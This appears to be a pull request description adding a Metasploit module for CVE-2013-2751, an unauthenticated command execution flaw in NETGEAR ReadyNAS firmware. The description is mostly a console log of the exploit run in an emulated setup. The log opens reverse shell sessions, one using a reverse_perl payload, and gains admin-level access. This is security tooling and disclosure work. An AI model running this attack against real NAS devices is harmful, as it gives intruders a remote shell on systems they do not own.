Add module for CVE-2013-2751

Tested with NETGEAR ReadyNAS 4.2.23 Firmware. I have used a emulated environment by decompressing the firmware and chrooting. Unfortunately I haven't access to a real device for testing purposes. Because of that I've used ManualRanking.

If someone with access to a real device could verify would be neat :)

Demo:

```
msf exploit(netgear_readynas_exec) > check
[+] The target is vulnerable.
msf exploit(netgear_readynas_exec) > rexploit
[*] Reloading module...

[*] Started reverse double handler
[*] 192.168.172.136:80 - Executing payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo UzWixSZGjbi3Vt7P;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "UzWixSZGjbi3Vt7P\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.136:40710) at 2013-10-24 16:07:48 -0500

id
uid=1001(admin) gid=119(admin) groups=119(admin)
^C
Abort session 1? [y/N]  y

[*] 192.168.172.136 - Command shell session 1 closed.  Reason: User exit
msf exploit(netgear_readynas_exec) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf exploit(netgear_readynas_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.136:80 - Executing payload...
[*] Command shell session 2 opened (192.168.172.1:4444 -> 192.168.172.136:40712) at 2013-10-24 16:08:04 -0500

id
uid=1001(admin) gid=119(admin) groups=119(admin)
^C
Abort session 2? [y/N]  y

[*] 192.168.172.136 - Command shell session 2 closed.  Reason: User exit
```